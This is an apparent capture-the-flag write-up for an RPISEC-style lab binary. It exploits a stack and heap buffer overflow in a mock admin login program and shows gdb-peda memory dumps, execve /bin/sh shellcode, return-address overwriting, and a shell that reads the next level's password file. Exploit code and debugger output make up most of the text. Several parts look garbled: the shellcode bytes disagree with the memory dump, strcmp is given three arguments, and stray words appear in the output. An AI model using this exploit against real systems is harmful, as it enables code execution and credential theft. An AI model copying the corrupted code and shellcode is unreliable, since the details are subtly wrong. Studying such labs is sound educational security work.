

Lab3C Writeup

We are given the source of some C code.

```
char a_user_name[100];

int verify_user_name()
{
    puts("verifying username...\n");
    return strcmp(a_user_name, "rpisec", 6);
}

int verify_user_pass(char *a_user_pass)
{
    return strcmp(a_user_pass, "admin", 5);
}

int main()
{
    char a_user_pass[64] = {0};
    int x = 0;

    /* prompt for the username - read 100 bytes */
    printf("***** ADMIN LOGIN PROMPT *****\n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    /* verify input username */
    x = verify_user_name();
    if (x != 0) {
        puts("nope, incorrect username...\n");
        return EXIT_FAILURE;
    }

    /* prompt for admin password - read 64 bytes */
    printf("Enter Password: \n");
    fgets(a_user_pass, 0x64, stdin);

    /* verify input password */
    x = verify_user_pass(a_user_pass);
    if (x == 0 || x != 0) {
        puts("nope, incorrect password...\n");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}
```

As we can see, we have a 100byte buffer that is allocated on the heap.

Then we have 3 functions, the first verifies the username, the second verifies a password, and the third is the main function.

In the main function we have another buffer, it is 64 bytes in size and is allocated on the stack.

The program works by using fgets() to get the username, and then checks that username against "rpisec". One major bug here though, is that fgets(x, 0x100, stdin) does not read 100 bytes, it reads 256 (0x100 = 256). This allows for a buffer overflow of our heap buffer.

The same is true when fgets() is called and stores 100 bytes in the password variable, allowing a stack based buffer overflow.

Furthermore, the use of strcmp means that we can use "rpisecAAAA" and it will return true, as it only checks the first y chars.

The last thing to note here is that the final conditional statement will

never execute, as x will always be equal to 0 or not 0.

Therefore, we can overflow the heap variable, using "rpisec" + nop sled + shellcode + nop sled (or trash bytes). We then also have to overflow the stack buffer.

This is the state of the heap variable after the first call to fgets():

```
gdb-peda$ x/100xw 0x8049c40
0x8049c40: <a_user_name>: 0x73697072 0x90906365 0x90909090 0x90909090
0x8049c50: <a_user_name+16>: 0xc0319090 0x2f2f6850 0x2f686873 0x896e6962
0x8049c60: <a_user_name+32>: 0x89c189e3 0xcd0bb0c2 0x40c03180 0x414180cd
0x8049c70: <a_user_name+48>: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049c80: <a_user_name+64>: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049c90: <a_user_name+80>: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049ca0: <a_user_name+96>: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049cb0: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049cc0: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049cd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049ce0: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049cf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049d00: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049d10: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049d20: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049d30: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049d40: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d50: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d60: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d70: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d80: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d90: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049da0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049db0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049dc0: 0x00000000 0x00000000 0x00000000 0x00000000
```

As we can see, we've fully overwritten the variable, the first 6 bytes are "rpisec", this allows us to move past the verify username function. We then have a small nop sled, followed by our shellcode, and then consecutive trash bytes.

Now, because fgets() is called twice, and we have passed it more than 256 bytes, the second call will continue to read bytes from where the last call stopped. So, if we pipe a payload such as

```
lab3C@warzone:/levels/lab03$ python -c 'print "rpisec" + "A"*249 + "B"*100' > /tmp/noPwn
```

Then after the second call to fgets(), we will have 100 bytes worth of "B"s, remembering that these are stored on the stack, and there should only be 64 bytes.

```
0000| 0xbffff690 --> 0xbffff6ac ("A", 'B' <repeats 98 times>)
0004| 0xbffff694 --> 0x64 ('d')
0008| 0xbffff698 --> 0xb7fcdc20 --> 0xfbad2088
0012| 0xbffff69c --> 0xb7eb8216 (<handle_intel+102>: test eax, eax)
0016| 0xbffff6a0 --> 0xffffffff
0020| 0xbffff6a4 --> 0xbffff6ce ('B' <repeats 65 times>)
0024| 0xbffff6a8 --> 0xb7e2fbf8 --> 0x2aa0
0028| 0xbffff6ac ("A", 'B' <repeats 98 times>)
-----
Legend: code, data, rodata, value
0x08048838 in main ()
gdb-peda$ x/64xw $esp
0xbffff690: 0xbffff6ac 0x00000064 0xb7fcdc20 0xb7eb8216
0xbffff6a0: 0xffffffff 0xbffff6ce 0xb7e2fbf8 0x42424241
0xbffff6b0: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff6c0: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff6d0: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff6e0: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff6f0: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff700: 0x42424242 0x42424242 0x42424242 0x00424242
0xbffff710: 0x00000001 0xbffff794 0xbffff734 0x08049c04
0xbffff720: 0x080483e4 0xb7fcd000 0x00000000 0x00000000
0xbffff730: 0x00000000 0xafc43562 0x97beb172 0x00000000
0xbffff740: 0x00000000 0x00000000 0x00000001 0x08048640
0xbffff750: 0x00000000 0xb7ff2500 0xb7e3c999 0xb7fff000
0xbffff760: 0x00000001 0x08048640 0x00000000 0x08048661
0xbffff770: 0x08048790 0x00000001 0xbffff794 0x08048880
0xbffff780: 0x080488f0 0xb7fed180 0xbffff78c 0x0000001c
```

As is shown here, this is exactly the case. And now if we continue execution, we should see a segfault.


```

gdb-peda$ c
Continuing.
nope, incorrect password...Recent
Program received signal SIGSEGV, Segmentation fault.
[-----registers-----]
EAX: 0x1
EBX: 0x42424242 ('BBBB')
ECX: 0xb7fd8000 ("nope, incorrect password...\nname...\n")
EDX: 0xb7fce898 --> 0x0
ESI: 0x0
EDI: 0x42424242 ('BBBB')
EBP: 0x42424242 ('BBBB')
ESP: 0xbffff700 ('B' <repeats 15 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
Invalid $PC address: 0x42424242
[-----stack-----]
0000| 0xbffff700 ('B' <repeats 15 times>)
0004| 0xbffff704 ('B' <repeats 11 times>)
0008| 0xbffff708 ("BBBBBBBB")
0012| 0xbffff70c --> 0x424242 ('BBB')
0016| 0xbffff710 --> 0x1
0020| 0xbffff714 --> 0xbffff794 --> 0xbffff8b0 ("/levels/lab03/lab3C")
0024| 0xbffff718 --> 0xbffff734 --> 0x10b7b5cd
0028| 0xbffff71c --> 0x8049c04 --> 0xb7e3c990 (<__libc_start_main>: push ebp)
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

```

So now we have segfault, all we need to do now is tailor a payload to our specific needs, finding the correct return address to overwrite, pointing that to a nopsled, and we should pop a shell.

So far we know that we need to use 256 bytes in the first half of our payload, and 100 bytes in our second.

We start by finding the correct address to overwrite, so that we can control program execution. If the password buffer takes 64bytes, and we can read in 100, its just a case of a small bit of trial and error.

```

lab3C@warzone:/Levels/Lab03$ python -c 'print "rpisec" + "A"*249 + "B"*80 + "C"*4' > /tmp/noPwn
lab3C@warzone:/Levels/Lab03$ gdb ./lab3C
Reading symbols from ./lab3C...(no debugging symbols found)...done.
gdb-peda$ r < /tmp/noPwn
Starting program: /levels/lab03/lab3C < /tmp/noPwn
***** ADMIN LOGIN PROMPT *****
Enter Username: verifying username....
Enter Password:
nope, incorrect password...Home
Program received signal SIGSEGV, Segmentation fault.
[-----registers-----]
EAX: 0x1
EBX: 0x42424242 ('BBBB')
ECX: 0xb7fd8000 ("nope, incorrect password...\nname...\n")
EDX: 0xb7fce898 --> 0x0
ESI: 0x0
EDI: 0x42424242 ('BBBB')
EBP: 0x42424242 ('BBBB')
ESP: 0xbffff700 --> 0xa ('\n')
EIP: 0x43434343 ('CCCC')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
Invalid $PC address: 0x43434343
[-----stack-----]
0000| 0xbffff700 --> 0xa ('\n')
0004| 0xbffff704 --> 0xbffff794 --> 0xbffff8b0 ("/levels/lab03/lab3C")
0008| 0xbffff708 --> 0xbffff79c --> 0xbffff8c4 ("XDG_SESSION_ID=3")
0012| 0xbffff70c --> 0xb7feccea (<call_init+26>: ec Labs' s add ed (ebx,0x12316)
0016| 0xbffff710 --> 0x1
0020| 0xbffff714 --> 0xbffff794 --> 0xbffff8b0 ("/levels/lab03/lab3C")
0024| 0xbffff718 --> 0xbffff734 --> 0xac12160f
0028| 0xbffff71c --> 0x8049c04 --> 0xb7e3c990 (<__libc_start_main>: push ebp)
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()

```

A quick glance through the stack shows that the correct address to overwrite is 84bytes after the start of the password buffer.

We can see here, we have correctly found the exact address to overwrite.

Now, we just need to overwrite that to an address somewhere on our nop sled.

Our shellcode is on the heap.

```
[-----]
0x80487d8 <main+72>: mov     DWORD PTR [esp+0x4],0x100
0x80487e0 <main+80>: mov     DWORD PTR [esp],0x8049c40
0x80487e7 <main+87>: call    0x80485f0 <fgets@plt>
=> 0x80487ec <main+92>: call    0x804873d <verify_user_name>
0x80487f1 <main+97>: mov     DWORD PTR [esp+0x5c],eax
0x80487f5 <main+101>: cmp     DWORD PTR [esp+0x5c],0x0
0x80487fa <main+106>: je      0x804880f <main+127>
0x80487fc <main+108>: mov     DWORD PTR [esp],0x8048970
No argument
```

As we can see here, fgets() stores the bytes it reads in at 0x8049c40. So we need to point our address near that. However, we have to remember that the first 6 bytes are our valid credentials. So we need to add 6 to our return address, otherwise it will break.

So now our payload should look like this:

```
python -c 'print "rpisec" + "\x90"*12
+ "\x31\x00\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\x0c
d\x80\x31\x00\x40\xcd\x80" + "A"*209 + "B"*80 + "\x46\x9c\x04\x08"'
```

We have 6bytes of credentials, a 12 byte nop sled, followed by our shell code, and 209 bytes of trash, that concludes the heap buffer overflow. Next we have 80 trash bytes followed by the ret address that points to our nop sled.

```
0x804882c <main+156>: lea     eax,[esp+0x1c]
0x8048830 <main+160>: mov     DWORD PTR [esp],eax
0x8048833 <main+163>: call    0x80485f0 <fgets@plt>
=> 0x8048838 <main+168>: lea     eax,[esp+0x1c]
0x804883c <main+172>: mov     DWORD PTR [esp],eax
0x804883f <main+175>: call    0x804876d <verify_user_pass>
0x8048844 <main+180>: mov     DWORD PTR [esp+0x5c],eax
0x8048848 <main+184>: cmp     DWORD PTR [esp+0x5c],0x0

[-----]
0000| 0xbffff690 --> 0xbffff6ac ('B' <repeats 80 times>, "F\234\004\b\n")
0004| 0xbffff694 --> 0x64 ('d')
0008| 0xbffff698 --> 0xb7fcdc20
0012| 0xbffff69c --> 0xb7eb8216 (<handle_intel+102>: test eax,eax)
0016| 0xbffff6a0 --> 0xffffffff
0020| 0xbffff6a4 --> 0xbffff6ce ('B' <repeats 46 times>, "F\234\004\b\n")
0024| 0xbffff6a8 --> 0xb7e2fbf8 --> 0x2aa0
0028| 0xbffff6ac ('B' <repeats 80 times>, "F\234\004\b\n")

Legend: code, data, rodata, value
0x08048838 in main ()
gdb-peda$ x/64xw $esp
0xbffff690: 0xbffff6ac 0x00000064 0xb7fcdc20 0xb7eb8216
0xbffff6a0: 0xffffffff 0xbffff6ce 0xb7e2fbf8 0x42424242
0xbffff6b0: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff6c0: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff6d0: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff6e0: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff6f0: 0x42424242 0x42424242 0x42424242 0x08049c46
0xbffff700: 0x0000000a 0xbffff794 0xbffff79c 0xb7feccea
0xbffff710: 0x00000001 0xbffff794 0xbffff734 0x08049c04
0xbffff720: 0x080483e4 0xb7fcd000 0x00000000 0x00000000
0xbffff730: 0x00000000 0xeac6dc00 0xd2bc58c0 0x00000000
0xbffff740: 0x00000000 0x00000000 0x00000001 0x08048640
0xbffff750: 0x00000000 0xb7ff2500 0xb7e3c999 0xb7fff000
0xbffff760: 0x00000001 0x08048640 0x00000000 0x08048661
0xbffff770: 0x08048790 0x00000001 0xbffff794 0x08048880
0xbffff780: 0x080488f0 0xb7fed180 0xbffff78c 0x0000001c
```

And here we can see what happens when we execute the program with this payload. We see our trash bytes overflowing up to 0xbffff6f8, and then the return address just after that.

Finally, we need to execute this exploit as such;

```
lab3C@warzone:/levels/lab03$ (cat /tmp/pwn1; cat;) | ./lab3C
***** ADMIN LOGIN PROMPT *****
Enter Username: verifying username....
Enter Password:
nope;hincorrect password...
scripts
whoami
lab3B
cat /home/lab3B/.pass
th3r3_iz_n0_4dm1ns_0nly_U!
```

